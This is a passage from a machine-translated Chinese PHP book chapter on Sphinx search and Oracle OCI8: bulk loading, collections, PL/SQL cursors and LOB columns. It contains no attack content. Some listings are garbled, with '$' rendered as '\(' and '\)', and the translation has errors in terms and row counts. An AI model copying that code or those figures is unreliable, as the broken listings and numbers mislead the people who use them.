\(db->Connect("localhost", "mgogala", "qwerty", "mgogala");
\)stmt = \(db->Prepare(\)QRY);
/* Connect to Sphinx "searchd" process /
\(cl = new SphinxClient();
\)cl->SetServer("localhost", 9312);
/ Set the extended mode search, for the phrase searches /
\(cl->SetMatchMode(SPH_MATCH_EXTENDED2);
/* Results will be ordered by date */
\)cl->SetSortMode(SPH_SORT_ATTR_DESC, "publ_date");
/ Execute search and check for problems */
$result = \(cl->Query(\)srch);
if (\(result === false) {
throw new Exception(\)cl->GetLastError());
} else {
if ($cl->GetLastWarning()) {
echo "WARNING: " . $cl->GetLastWarning() . "
";
}
}
/* Get the results and use them to query the database /
foreach ($result["matches"] as $doc => \(docinfo) {
\)rs = \(db->Execute(\)stmt, array(\(doc));
\)row = \(rs->FetchRow();
/* Add the result of the query to the output table */
\)table->addRow($row);
}
/ Display the results */
echo $table->toHTML();
}
catch(Exception \(e) {
die(\)e->getMessage());
}`
这个脚本比本章中其他地方的命令行片段更接近程序员通常需要的脚本。这个脚本使用 ADOdb、简单的 web 模块和 Sphinx 搜索引擎组合了数据库。输出显示在图 8-1 中。
图 8-1。输出的脚本在清单 8-7 中
该表单用于输入搜索词。当输入术语 search 时,脚本连接到数据库和 Sphinx 搜索引擎,并通过发出以下调用来检索数据:$result=$cl->Query($search)
。Sphinx 将解析查询词并返回数据。结果是一个关联数组,如下所示:
`Array
(
[error] =>
[warning] =>
[status] => 0
[fields] => Array
(
[0] => article
)
[attrs] => Array
(
[publ_date] => 2
)
[matches] => Array
(
[13] => Array
(
[weight] => 2713
[attrs] => Array
(
[publ_date] => 1296363600
)
)
)
[total] => 1
[total_found] => 1
[time] => 0
[words] => Array
(
[celery] => Array
(
[docs] => 3
[hits] => 4
)
[apple] => Array
(
[docs] => 3
[hits] => 5
)
[soup] => Array
(
[docs] => 13
[hits] => 30
)
[lentil] => Array
(
[docs] => 1
[hits] => 3
)
)
)`
在 id=13 的文档中找到了与我们的搜索词匹配的内容。搜索词是“芹菜&苹果&汤&扁豆”我们在寻找包含所有这些词的文章。匹配被放在$result['matches']
数组中,该数组也是一个包含带权重的文档信息的关联数组。权重是通过使用被称为“BM25”的统计函数来计算的,该函数考虑了词频。文档权重越高,匹配越好。文章本身并没有以可见的形式表现出来。为了获得文档 id=13 的行,我们需要访问数据库。这可能不太方便,但是在索引中复制数据库中的数据会浪费空间。当只有 50 条记录时,这并不重要,但是如果有数百万行,复制数据的成本会高得惊人。毕竟,数据已经驻留在数据库中,没有必要再将它存储到索引中。
Sphinx 是令人惊讶的多功能软件。它有实时索引,类似 SQL 查询的语法,它可以做“联合索引”,这意味着一个索引可以指向不同机器上的几个其他索引,它可以做 UTF-8,它可以访问不同的数据库。它的搜索语法非常灵活。Sphinx client 也内置在 MySQL 数据库中,但是如前所述,它实际上也可以与其他数据库一起工作。Sphinx 还可以模拟 MySQL,并用于将目标与 MySQL PHP 扩展、MySQL ODBC 驱动程序甚至 MySQL 命令行客户端连接起来。此外,PHP 客户端得到了很好的维护和记录。
总结
在本章中,我们讨论了以下主题:
- 关系型数据库
- 数据对象
- ADOdb(收养数据库)
- 狮身人面像
MySQL 是一个成熟的关系数据库,有很多关于它的书籍。除了最后一节,本章的所有部分都基于 MySQL 数据库。就本章而言,数据库类型并不特别重要。PDO、ADOdb 和 Sphinx 也可以在 SQLite、PostgreSQL、Oracle 或 DB2 上演示。脚本看起来是一样的。当然,对于 Sphinx,我们需要一个脚本来读取数据库并为除 MySQL 或 PostgreSQL 之外的任何数据库编写 XML 文件,但这不是一个大问题。ADOdb 可以很好地用于这个目的。
本章不是全面的参考;这只是作为一个介绍。所有这些库和软件包都有本章没有描述的选项和可能性。
九、数据库集成 III
到目前为止,我们主要使用 MySQL 数据库。现在是时候介绍 Oracle RDBMS 及其功能了。Oracle RDBMS 是当今市场上最流行的数据库。这是用户最有可能在他们的服务器机房中拥有的数据库,至少在高端是如此。
本章将介绍 Oracle RDBSM 和 PHP OC18 接口(连接和执行 SQL 和 bind 变量)。它还将涵盖数组接口、PL/SQL 过程、IN/OUT 参数和绑定游标。接下来我们将讨论大型对象和使用 LOB 列,最后我们将看一看连接池。
Oracle RDBMS 功能非常丰富。完整的描述需要一个小的库。我将从一个 PHP 程序员的角度出发,通过强调它最重要的特性来开始这一章。
Oracle RDBMS 简介
Oracle RDBMS 是一个成熟的关系数据库,符合第七章中描述的 ACID 属性。它使用多版本来保证一致性,这样读者就不会阻止作者。这意味着对特定表执行查询的进程既不会阻塞,也不会被修改该表的进程阻塞。与许多其他数据库相比,Oracle RDBMS 有一个集中的字典,并且不像其他 RDBMS 系统那样使用术语数据库。Oracle 实例是进程和共享内存的集合,它总是访问单个数据库。会话通过附加到 Oracle 的一个服务器进程来连接到实例。该附件可以是专用的,在这种情况下,服务器进程专用于与其连接的单个客户端。附件也可以共享,允许多个连接共享一个服务器进程。从 Oracle 和更高版本开始,连接也可以被池化,这意味着存在一个进程池,并且这些进程中的任何一个都可以在任何时候为给定的连接提供服务。Oracle 会话是一个开销很大的对象,其数量受到初始化参数的限制,因此不应该轻易创建。与其他一些数据库(尤其是 Microsoft SQL Server)相比,每个最终用户拥有多个数据库会话被认为是一种非常糟糕的做法。
Oracle 数据库是一个包罗万象的实体,进一步细分为表空间。表空间只是文件的集合,是用于存储对象的物理位置。每个数据库对象,如表或索引,都由用户拥有。在 Oracle 世界中,术语用户与模式同义。这意味着,对于 ANSI SQL 标准中定义为对象的逻辑集合的每个模式,都有一个用户名。这往往会产生大量用户,但没有负面影响。Oracle 还支持全局临时表。全局临时表中的数据可以在事务或会话中保持不变。这些表被称为全局临时表,因为它们的可见性是全局的;即使在所有使用它们的会话与实例断开连接后,它们仍然存在。Oracle 不支持本地临时表,如 SQL Server 或 PostgreSQL,它们只在创建它们的会话期间存在。Oracle 支持游标,但是游标不像本地临时表那样通用。这有时会带来移植问题,尤其是在将 SQL Server 应用移植到 Oracle 时。许多其他数据库,如 DB2、SQL Server、MySQL 和 PostgreSQL,支持只在会话甚至事务期间存在的本地临时表。使用这些数据库的开发人员倾向于大量使用临时表,如果对 Oracle 进行字面翻译,会产生大量的永久对象。公认的做法是尽可能将本地临时表转换为游标。
Oracle 还支持称为同义词的非常独特的对象,这些对象可以指向另一个模式,甚至是另一个数据库。Oracle 是一个完全分布式数据库;它允许查询远程数据库,甚至是包含几个数据库的成熟事务。然而,这应该小心使用,因为分布式数据库有一些奇怪的和意想不到的属性,这些属性会严重影响应用。
支持行级锁定以提高并发性;这是默认的锁定粒度。Oracle 锁以相当独特的方式实现,没有全局锁队列和大量内存消耗。这使得 Oracle 锁很便宜。事实上,锁定表中单行的成本通常与锁定多行的成本相同。Oracle 不会升级锁。行锁永远不会转换为表锁。Oracle RDBMS 中的显式表锁定通常会适得其反,并且会对应用性能和并发性产生严重的负面影响。
正如许多其他数据库系统一样,Oracle 也有自己的事务语言或过程扩展,称为 PL/SQL。这是一种完全定义的编程语言,基于 Ada,可用于开发函数、过程、触发器和包。除了 PL/SQL,还可以用 Java 编写存储过程。Java 虚拟机是 Oracle 数据库内核的一部分。这个功能非常重要,因为纯 SQL 不足以定义业务规则。业务规则通常被实现为数据库触发器,这使得它们在访问底层数据模型的应用之间保持一致。有两种实现业务规则的方法:一种以数据库为中心,另一种以应用为中心。在我看来,业务规则应该在数据库中实现,因为通过应用层维护业务规则的一致实现既困难又有风险。出错的空间太大了。在数据模型的生命周期中,由可能的误解引起的细微变化更有可能发生,公司可能会以逻辑上不一致的数据库而告终。
如果不提到真正的应用集群(RAC ),这一节就不完整。Oracle 支持共享磁盘集群,这比精心组织的独立数据库复杂得多,通常被称为无共享架构。对于 Oracle RAC,多个 Oracle 实例可以访问位于共享存储上的单个数据库。这在图 9-1 中有所说明。
图 9-1。借助 Oracle RAC,多个 Oracle 实例可以访问驻留在共享存储上的单个数据库。
数据库服务器 1 和 2 上的实例同时访问共享存储上的数据库。这比无共享数据库集群复杂得多,因为需要在节点之间进行锁定;需要一个复杂的分布式锁管理器(DLM)。有利的一面是,单个节点的丢失并不意味着数据的丢失。在无共享架构中,单个节点的丢失通常意味着用户无法访问该节点管理的数据。RAC 要复杂得多,但它允许负载平衡和故障转移,这意味着只要群集中至少有一个存活的节点,整个数据库都是可访问的。
Oracle RDBMS 的更多选项和功能超出了本书的讨论范围,但仍然值得学习。甲骨文很乐意在此公开其信息手册:[www.oracle.com/technetwork/indexes/documentation/index.html](http://www.oracle.com/technetwork/indexes/documentation/index.html)
我全心全意地推荐涵盖概念的手册。对于那些需要更复杂和详细介绍的人,我推荐 Tom Kyte 的书,特别是专家数据库架构 (Apress,2010)。汤姆·凯特是甲骨文公司的副总裁,一位优秀的作家,也是一位知识渊博的人,他的书读起来是一种享受。
Oracle RDBMS 是一种非常流行的关系数据库,有多种选择。它是符合标准的,但是不应该陷入创建独立于数据库的应用的陷阱。数据库是非常复杂的软件,相同的功能有许多不同的实现。为一个特定的数据库编写一个应用可以使一个人从分配的硬件和软件中获得最佳性能。当编写将使用 Oracle RDBMS 作为其数据存储的应用时,应该遵循 Oracle RDBMS 世界中遵循的标准,而不是一些抽象的独立于数据库的应用标准。数据库独立性通常意味着应用在任何受支持的数据库上运行都同样缓慢,这几乎不是一个令人满意的解决方案。另一方面,编写一个不考虑可移植性的应用会导致供应商锁定,并最终增加应用系统的价格。
现在,让我们继续 OCI8 接口的血淋淋的细节。下一节将假设已经安装了 OCI8 模块,要么通过从源代码链接它,要么通过 PECL。
基础知识:连接和执行 SQL
OCI8 扩展拥有我们在本书前面看到的使用 MySQL 和 SQLite 扩展时的所有调用。特别是,它调用连接到一个 Oracle 实例,准备一个 SQL 语句,执行它,并获取结果。不幸的是,OCI8 本质上是程序性的,这意味着错误检查必须手动完成。对于自动错误检查,可以使用 ADOdb 包装器,它有 OCI8 扩展本身提供的许多选项,但肯定不是全部。正如我们迄今为止的做法一样,一个例子胜过千言万语。
与其他数据库一样,这里将显示两个脚本:第一个脚本将 CSV 文件加载到数据库中,第二个脚本执行查询。这两个脚本都从命令行执行。在这两个脚本之间,将有可能涵盖使用 Oracle RDBMS 的所有基本调用和技术,就像对 MySQL 和 SQLite 那样。清单 9-1 显示了第一个脚本,它将一个 CSV 文件加载到数据库中。剧本一般;它将连接字符串、表名和文件名作为命令行参数,并将指定的文件加载到指定的表中。不存在特定模式或表结构的假设。
清单 9-1。将 CSV 文件加载到数据库的脚本
<?php if ($argc != 4) { die("USAGE:script9.1 <connection> <table_name> <file name>\n"); } $conn = $argv[1]; $tname = $argv[2]; $fname = $argv[3]; $qry = "select * from $tname"; $dsn = array(); $numrows = 0; if (preg_match('/(.*)\/(.*)@(.*)/', $conn, $dsn)) { $conn = array_shift($dsn); } elseif (preg_match('/(.*)\/(.*)/', $conn, $dsn)) { $conn = array_shift($dsn); } else die("Connection identifier should be in the u/p@db form."); if (count($dsn) == 2) { $dsn[2] = ""; } function create_insert_stmt($table, $ncols) { $stmt = "insert into $table values("; foreach (range(1, $ncols) as $i) { $stmt.= ":$i,"; } $stmt = preg_replace("/,$/", ')', $stmt); return ($stmt); } try { $dbh = oci_connect($dsn[0], $dsn[1], $dsn[2]); if (!$dbh) { $err = oci_error(); throw new exception($err['message']); }
$res = oci_parse($dbh, $qry); // Oracle needs to execute statement before having description // functions available. However, there is a special cheap // execution mode which makes sure that there is no performance penalty. if (!oci_execute($res, OCI_DESCRIBE_ONLY)) { $err = oci_error($dbh); throw new exception($err['message']); } $ncols = oci_num_fields($res); oci_free_statement($res); $ins = create_insert_stmt($tname, $ncols); $res = oci_parse($dbh, $ins); $fp = new SplFileObject($fname, "r"); while ($row = $fp->fgetcsv()) { if (count($row) < $ncols) continue; foreach (range(1, $ncols) as $i) { oci_bind_by_name($res, ":$i", $row[$i - 1]); } if (!oci_execute($res,OCI_NO_AUTO_COMMIT)) { $err = oci_error($dbh); throw new exception($err['message']); } $numrows++; } oci_commit($dbh); print "$numrows rows inserted into $tname.\n"; } catch(Exception $e) { print "Exception:\n"; die($e->getMessage() . "\n"); } ?>
执行产生与其他数据库相同的结果:
./script9.1.php scott/tiger imp emp.csv 14 rows inserted into emp.
CSV 文件与第七章中的 SQLite 文件相同。它比优雅的 ADOdb 版本要麻烦得多,但是使用 OCI8 可以获得显著的性能优势,我们将在下一节展示这一点。这些调用现在应该很容易识别了:oci_connect
当然是用来连接数据库实例的。Oracle 连接字符串通常有一个username/password@db
形式,有时没有最后一部分,因此有必要解析连接参数。这是preg_match
可以用一种相当优雅的方式做的事情。我们将在后面讨论正则表达式的细节。
oci_error 调用用于检测错误,oci_parse 解析语句,oci_execute
执行语句。当捕获错误时,oci_error
调用将数据库句柄作为唯一的参数。遇到的最后一个错误实际上是一个连接句柄属性。
实际执行插入的oci_execute
调用是用一个额外的OCI_NO_AUTO_COMMIT
参数调用的。如果没有该参数,每次插入后都会发出一个 commit。正如在第七章的 MySQL 部分提到的,“提交”语句是一个非常昂贵的语句。我们不仅会因为在插入每一行后提交而遭受性能损失,还有可能出现不一致的文件加载。有些行将被加载,但有些行将失败,除了加载数据之外,我们还需要完成清理任务。默认情况下是在每次插入后自动提交。
字段的数量由oci_num_fields
调用返回,该调用将一个已执行的 SQL 句柄作为其参数。这对于大型表来说是不切实际的,所以有一种特殊的执行模式,它不会创建结果集,所以不会有性能损失。此外,SQL 的真正解析通常会延迟到 SQL 语句的执行阶段,以便减少必要的网络行程。这意味着在oci_parse
调用之后不需要检查错误,执行错误检查的地方是在oci_execute
调用之后。
但是,这个脚本的执行方式会带来性能损失。对于每一行,我们将访问数据库并在返回时检查结果。如果数据库在不同于用来执行 PHP 脚本的机器上,这包括了与要插入的行数一样多的网络传输。即使使用快速网络连接,如果有许多行要插入,网络开销也会非常大。不幸的是,PHP 不支持将数组直接绑定到 SQL 占位符,其他一些语言就是如此。幸运的是,有一个利用OCI-Collection
类的技巧可以帮助我们做到这一点。这个技巧将在下一节描述。
清单 9-1 的脚本中没有包含的基本调用是oci_fetch_row
。这将在清单 9-2 中显示,在之前的数据库集成章节中也曾出现过。该脚本执行一个查询,获取结果数据,并将其打印在标准输出上。
清单 9-2。执行查询的脚本
<?php $QRY = "select e.ename,e.job,d.dname,d.loc from emp e join dept d on(d.deptno=e.deptno)"; try { $dbh = oci_connect("scott", "tiger", "local"); if (!$dbh) { $err = oci_error(); throw new exception($err['message']); } $sth = oci_parse($dbh, $QRY); if (!oci_execute($sth)) { $err = oci_error($dbh); throw new exception($err['message']); } while ($row = oci_fetch_array($sth,OCI_NUM)) { foreach ($row as $r) { printf("% 12s", $r); } print "\n"; } } catch(exception $e) { print "Exception:"; print $e->getMessage()."\n"; exit(-1); } ?>
oci_fetch_array
将获取下一行到程序员选择的数组类型中。我们选择了一个由数字索引的数组,如OCI_NUM
参数所指定的。我们也可以指定OCI_ASSOC
返回一个关联数组,由列名索引,或者指定OCI_BOTH
返回两者。
与插入一样,fetch 通常也会逐行提取。幸运的是,对于查询,有一个非常简单的技巧可以帮助我们。OCI8 支持oci_set_prefetch
函数,其语法如下:
bool oci_set_prefetch($stmt,$numrows);
这将创建一个可以容纳$numrows
行并由 Oracle 维护和使用的缓冲区。获取函数的行为不会改变,但是速度会显著改变。预取缓冲区是按语句创建的,不能共享或重用。
清单 9-1 和 9-2 涵盖了所有的基础知识:如何连接到一个 Oracle 实例,执行一条 SQL 语句,并获得结果。属于基本 OCI8 调用类别的调用更少。这些调用描述了结果集中的字段:oci_field_name
、oci_field_type
、oci_field_size
、oci_field_precision
和oci_field_scale
。所有这些调用都将执行的语句和字段编号作为参数,并返回请求的数据:名称、类型、大小、精度和小数位数。
阵列接口
本节将演示在可接受的时间内将大量行插入 Oracle 数据库是多么容易。在现代企业数据库中,大量数据加载是相当频繁的事情。因此,让我们创建下表,并尝试向其中加载一个大数据文件:
`SQL> create table test_ins (
2 col1 number(10)
3 ) storage (initial 100M);
Table created.`
存储条款分配 1 亿。这样做是为了避免动态空间分配,这可能是数据加载中最糟糕的事情。运行时的动态空间分配很慢,会导致并发问题,应该尽可能避免。现在,我们需要加载一个数据文件:
php -r 'for($i=0;$i<10000123;$i++) { print "$i\n"; }'>file.dat
对于记录,这是 10123 记录加载。首先,让我们看看上一节中的方法是如何工作的。清单 9-3 是一个非常简单的脚本,它将读取文件并将其加载到我们刚刚创建的表格中。
清单 9-3。读取文件并将其加载到表中的简单脚本
<?php if ($argc != 2) { die("USAGE:scriptDB.1 <batch size>"); } $batch = $argv[1]; print "Batch size:$batch\n"; $numrows = 0; $val = 0; $ins = "insert into test_ins values (:VAL)";
try { $dbh = oci_connect("scott", "tiger", "local"); if (!$dbh) { $err = oci_error(); throw new exception($err['message']); } $res = oci_parse($dbh, $ins); oci_bind_by_name($res, ":VAL", &$val, 20, SQLT_CHR); $fp = new SplFileObject("file.dat", "r"); while ($row = $fp->fgets()) { $val = trim($row); if (!oci_execute($res, OCI_NO_AUTO_COMMIT)) { $err = oci_error($dbh); throw new exception($err['message']); } if ((++$numrows) % $batch == 0) { oci_commit($dbh); } } oci_commit($dbh); print "$numrows rows inserted.\n"; } catch(Exception $e) { print "Exception:\n"; die($e->getMessage() . "\n"); } ?>
这是一个简单的脚本,但它仍然是根据编程的最佳规则编写的。Bind 只执行一次,commit 在命令行中定义的时间间隔内调用。将变量绑定到占位符的概念在前面的数据库章节中已经介绍过了,所以,让我们来执行这个脚本,看看时机:
`time ./script9.3.php 10000
Batch size:10000
10000123 rows inserted .
real 16m44.110s
user 2m35.295s
sys 1m38.790s`
因此,对于 1000 万条简单的记录,我们需要在本地机器上运行 16 分钟。那非常非常慢。主要问题在于,前面的脚本是逐行与数据库通信的,每次都检查结果。减少提交频率会有所帮助,比如每 10,000 行提交一次,但这还不够。为了加快速度,我们需要更多的数据库基础设施:
SQL> create type numeric_table as table of number(10); 2 / Type created. SQL> create or replace procedure do_ins(in_tab numeric_table) 2 as 3 begin
4 forall i in in_tab.first..in_tab.last 5 insert into test_ins values (in_tab(i)); 6 end; 7 / Procedure created.
我们创建了一个过程,它接受一个 PL/SQL 表,这是一个 Oracle 集合类型,可以认为是一个 PHP 数组,如果没有这个类型,我们就无法创建这个过程。该过程使用 Oracle 批量插入机制,将 PL/SQL 表插入到表TEST_INS
中。现在我们已经有了必要的基础设施,清单 9-4 的展示了清单 9-3 的的新版本。
清单 9-4。新版清单 9-3
<?php if ($argc != 2) { die("USAGE:scriptDB.1 <batch size>"); } $batch = $argv[1]; print "Batch size:$batch\n"; $numrows = 0; $ins = <<<'EOS' begin do_ins(:VAL); end; EOS; try { $dbh = oci_connect("scott", "tiger", "local"); if (!$dbh) { $err = oci_error(); throw new exception($err['message']); } $values = oci_new_collection($dbh, 'NUMERIC_TABLE'); $res = oci_parse($dbh, $ins); oci_bind_by_name($res, ":VAL", $values, -1, SQLT_NTY); $fp = new SplFileObject("file.dat", "r"); while ($row = $fp->fgets()) { $values->append(trim($row)); if ((++$numrows) % $batch == 0) { if (!oci_execute($res)) { $err = oci_error($dbh); throw new exception($err['message']); } $values->trim($batch); } } if (!oci_execute($res)) { $err = oci_error($dbh); throw new exception($err['message']); } print "$numrows rows inserted.\n"; }
catch(Exception $e) { print "Exception:\n"; die($e->getMessage() . "\n"); } ?>
让我们看看这与清单 9-3 中的相比如何。这个脚本有点复杂,因为它需要额外的数据库基础设施,但是这种努力绝对是值得的:
`time ./script9.4.php 10000
Batch size:10000
10000123 rows inserted.
real 0m58.077s
user 0m42.317s
sys 0m0.307s`
1000 万条记录的加载时间从 16 分 44 秒减少到 58 秒。为什么我们会有如此巨大的进步?首先,我们在 PHP 端创建了OCI-Collection
对象,用来保存要插入的行的集合。Oracle 集合对象拥有人们期望的所有方法:append、trim、size 和getElem
。append 方法将向集合中添加一个变量,trim 将从集合中移除指定数量的元素,size 方法将返回集合中元素的数量,而getElem
将返回给定索引的元素。
如果表中有更多的列,我们将需要为每一列提供一个集合对象和一个支持它的类型。该脚本将 10,000 行收集到集合对象中,然后将它交给 Oracle,因此命名为数组接口。其次,该过程执行批量插入,这比在循环中执行简单插入要快得多。如果目标数据库在另一台机器上,即使有快速的 1GB 以太网链接,第一个脚本的执行时间也需要 45 分钟。第二个脚本仍然可以在不到两分钟的时间内执行,因为网络访问次数大大减少了。两个脚本以相同的速率提交。在清单 9-3 的脚本中,每 10,000 行就用OCI_NO_AUTO_COMMIT
调用oci_execute
并显式调用oci_commit
。在清单 9-4 的脚本中,oci_execute
在没有禁用自动提交特性的情况下被调用,这意味着提交是在每次成功完成后发出的。
该脚本不能使用 ADOdb 或 PDO 编写,因为它们不支持OCI-Collection
类型。为大型数据仓库负载编写 PHP 脚本最好使用本机 OCI8 接口。第二个剧本有什么问题吗?首先,它倾向于忽略错误。错误必须在DO_INS
插入过程中处理,出于简单的原因,我们没有在这里处理。PL/SQL 命令 FORALL 有一个名为 SAVE EXCEPTIONS 的选项,可用于检查每一行的结果,并在需要时抛出异常。PL/SQL 是一种非常强大的语言,比我们在这里展示的简单语言有更多的用途。Oracle 文档包含关于 PL/SQL 的优秀手册,可在本章前面提到的文档网站上获得。下一节还将讨论 PL/SQL。
PL/SQL 过程和游标
在上一节中,我们看到了绑定变量与 PL/SQL 的配合。绑定变量必须绑定到 PL/SQL 代码中的占位符。参见清单 9-5 。
清单 9-5。在此插入列表标题。
`<?php
\(proc = <<<'EOP'
declare
stat number(1,0);
begin
dbms_output.enable();
select days_ago(:DAYS) into :LONG_AGO from dual;
dbms_output.put_line('Once upon a time:'||:LONG_AGO);
dbms_output.get_line(:LINE,stat);
end;
EOP;
\)days=60;
\(long_ago="";
\)line="";
try {
\(dbh = oci_connect("scott","tiger","local");
if (!\)dbh) {
\(err = oci_error();
throw new exception(\)err['message']);
}
\(res = oci_parse(\)dbh, \(proc);
oci_bind_by_name(\)res,":DAYS",&\(days,20,SQLT_CHR);
oci_bind_by_name(\)res,":LONG_AGO",&\(long_ago,128,SQLT_CHR);
oci_bind_by_name(\)res,":LINE",&\(line,128,SQLT_CHR);
if (!oci_execute(\)res)) {
\(err=oci_error(\)dbh);
throw new exception(\(err['message']);
}
print "This is the procedure output line:\)line\n";
}
catch(Exception \(e) {
print "Exception:\n";
die(\)e->getMessage() . "\n");
}
?>`
执行时,该脚本会产生以下输出:
./script9.5.php This is the procedure output line:Once upon a time:2011-01-31 12:10:26
函数days_ago
是一个相当简单的用户定义函数,如下所示:
CREATE OR REPLACE FUNCTION days_ago( days IN NUMBER) RETURN VARCHAR2 AS
BEGIN RETURN(TO_CHAR(sysdate-days,'YYYY-MM-DD HH24:MI:SS')); END;
因此,在我们的清单 9-5 中的小脚本中,我们几乎混合了所有的东西:一个用户创建的函数,带有一个输入参数、系统包DBMS_OUTPUT
和输出参数,所有这些都捆绑在一个匿名的 PL/SQL 代码中。绑定变量不需要声明,它们由oci_bind_by_name
调用声明。不需要像某些框架那样声明 IN 参数和 OUT 参数;oci_bind_by_name
双管齐下。绑定变量可以是不同的类型。显然,它们可以是数字和字符串,在本章前面关于数组接口的部分,我们看到绑定变量可以是OCI-Collection
类的对象。也可以绑定一个语句句柄。在 Oracle 术语中,语句句柄称为游标。Oracle 的 PL/SQL 可以很好的操纵游标,可以交给 PHP 执行。清单 9-6 显示了一个例子。
清单 9-6。在此插入列表标题。
<?php $proc = <<<'EOP' declare type crs_type is ref cursor; crs crs_type; begin open crs for select ename,job,deptno from emp; :CSR:=crs; end; EOP; try { $dbh = oci_connect("scott", "tiger", "local"); if (!$dbh) { $err = oci_error(); throw new exception($err['message']); } $csr = oci_new_cursor($dbh); $res = oci_parse($dbh, $proc); oci_bind_by_name($res, ":CSR", $csr, -1, SQLT_RSET); if (!oci_execute($res)) { $err = oci_error($dbh); throw new exception($err['message']); } if (!oci_execute($csr)) { $err = oci_error($dbh); throw new exception($err['message']); } while ($row = oci_fetch_array($csr, OCI_NUM)) { foreach ($row as $r) { printf("%-12s", $r); } print "\n"; } }
catch(Exception $e) { print "Exception:\n"; die($e->getMessage() . "\n"); } ?>
在清单 9-6 中,我们调用了oci_execute
两次。第一次,我们从变量$proc
执行小的 PL/SQL 脚本。该脚本为 SQL 查询打开一个 PL/SQL 类型的 ref 游标,该查询从 EMP 表中选择三列,将该游标放入绑定变量:CSR 并退出。之后就都是 PHP 了。
当执行 PL/SQL 代码时,它将 Oracle 游标放入绑定变量$csr
,该变量是通过调用oci_new_cursor
创建的。正如我们之前所说,游标是经过解析的 SQL 语句。既然已经填充了$csr
,就需要执行它并检索数据。因此,第二个oci_execute
用于执行那个光标。之后,数据被检索并打印在标准输出上。结果如下所示:
./script9.6.php SMITH CLERK 20 ALLEN SALESMAN 30 WARD SALESMAN 30 JONES MANAGER 20 MARTIN SALESMAN 30 BLAKE MANAGER 30 CLARK MANAGER 10 SCOTT ANALYST 20 KING PRESIDENT 10 TURNER SALESMAN 30 ADAMS CLERK 20 JAMES CLERK 30 FORD ANALYST 20 MILLER CLERK 10
PL/SQL 创建了一个 SQL 语句,解析后交给 PHP 执行。PHP 执行它并产生结果。这是一个非常强大的组合,可以在应用中发挥巨大的作用。
如果从 PL/SQL 返回的游标使用锁定,则需要用OCI_NO_AUTO_COMMIT
调用oci_execute
,因为每次成功执行后的隐含提交将释放锁定并导致以下错误:
PHP Warning: oci_fetch_array(): ORA-01002: fetch out of sequence in /home/mgogala/work/book/ChapterDB/scriptDB.6.php on line 29
此错误是由于在 PL/SQL 代码的查询中添加了“for update of job”而产生的。查询被修改为读取select ename,job,deptno from emp for update of job
。带有“for update”子句的查询将锁定所选行;这种行为是 SQL 标准规定的。在关系数据库中,锁在事务持续期间被授予。一旦事务终止(例如,被 commit 语句终止),游标就变得无效,并且无法再检索数据。默认情况下,oci_execute
发出一个 commit,并用“for update”选项中断查询。将会有一个类似的错误,如下一节所示。
注意
oci_execute
调用将在每次成功执行后执行一次提交,即使执行的 SQL 是一个查询。如果不希望出现这种行为,请使用OCI_NO_AUTO_COMMIT
参数。
现在,我们可以进入另一个重要的对象类型。
使用 LOB 类型
LOB 代表大对象。它可以是文本大型对象、字符大型对象类型(CLOB)、二进制大型对象类型(BLOB)或指向 Oracle 类型 BFILE 文件的指针。LOB 类型的基本特征是它的大小。在这种情况下,规模肯定很重要。
当关系数据库第一次出现时,像大型文档、媒体剪辑、图形文件之类的东西并不保存在关系数据库中。这种性质的对象保存在文件系统中。文档集合的一个范例是一个文件柜,有抽屉,可能还有字母标记。一个人应该确切地知道他在找什么,最好有文件号码。文件系统是模仿文件柜设计的。文件系统只是包含文档的抽屉(称为目录)的集合。像“请给我 2008 年所有涉及办公家具,如椅子、桌子和橱柜的合同”这样的任务在旧的组织中是不可能完成的。随着文本索引的出现,这样的任务现在已经很平常了。此外,文件系统保留了非常少的关于文档的外部可访问信息。文件系统通常保存文件名、所有者、大小和日期,仅此而已。没有关键字、没有外部注释、没有作者或任何其他可能需要的关于文档的有用信息。保留所有必要的信息意味着旧的文件柜范例不再足够;这些文件现在越来越多地保存在数据库中。
每个 Oracle 数据库都有一个名为 Oracle*Text 的选项,无需额外费用。该选项使用户能够在文档上创建文本索引,解析 MS Word 文档、Adobe PDF 文档、HTML 文档和许多其他文档类型。Oracle 也可以进行文本搜索,就像 Sphinx 一样,它的文本索引被紧密集成到数据库中。还有一些选项可以分析地图,测量两点之间的距离,甚至分析 x 光图像。所有这些好处都依赖于存储在数据库中的大型对象。当然,PHP 在 web 应用中使用非常频繁,并且有很好的机制来处理上传的文件。这使得处理 LOB 列对于 PHP 应用尤其重要。在使用 PHP 和 Oracle 数据库时,上传文档并将其存储到数据库中是可以合理预期的事情。
我们的下一个例子将把一个文本文件的内容加载到数据库中。文本文件是库尔特·冯内古特的优秀故事《哈里森·贝吉龙》,从这里获得:
www.tnellen.com/cybereng/harrison.html
故事的内容作为一个名为harrison_bergeron.txt
的文本文件存储在磁盘上。这个故事很短,大约 12K,但是仍然大于 VARCHAR2 列的最大大小,即 4K:
ls -l harrison_bergeron.txt -rw-r--r-- 1 mgogala users 12678 Apr 2 23:28 harrison_bergeron.txt
该文档正好有 12,678 个字符长。该事实将用于检查我们脚本的结果。当然,在插入文档时,我们还需要一个表格来插入。以下是接下来两个示例中使用的表格:
CREATE TABLE TEST2_INS ( FNAME VARCHAR2(128), FCONTENT CLOB ) LOB(FCONTENT) STORE AS SECUREFILE SF_NOVELS ( DISABLE STORAGE IN ROW DEDUPLICATE COMPRESS HIGH ) ;
当创建这样的表时,很自然的想法是创建名为 NAME 和 CONTENT 的列,但是这些列可能是保留字,或者在一些未来的 Oracle 版本中可能成为保留字。这可能会导致不可预测的问题,避免使用列名这样的词是一个明智的原则。
注意使用名称、内容、大小或类似的名称是危险的,因为可能与 SQL 关键字冲突。
此外,在创建 LOB 列时,有许多选项可供选择,具体取决于数据库版本。create table 命令的选项会显著影响存储 LOB 所需的存储空间、文本索引的性能以及数据检索过程的性能。创建该表的数据库是 Oracle 11.2 数据库。并非所有这些选项在今天仍在使用的早期版本中都可用。从 Oracle 9i 开始提供的选项是DISABLE STORAGE IN ROW
。如果使用此选项,Oracle 会将整个 LOB 列存储在一个单独的存储空间中,称为 LOB 段,只在表行中留下如何找到 LOB 的信息,也称为 LOB 定位器。LOB 定位器的大小通常为 23 个字节。这将使得表中的非 LOB 列更加密集,并且非 LOB 列的读取更加高效。为了访问 LOB 数据,Oracle 必须发出单独的 I/O 请求,因此降低了表读取的效率。
如果没有DISABLE STORAGE IN ROW
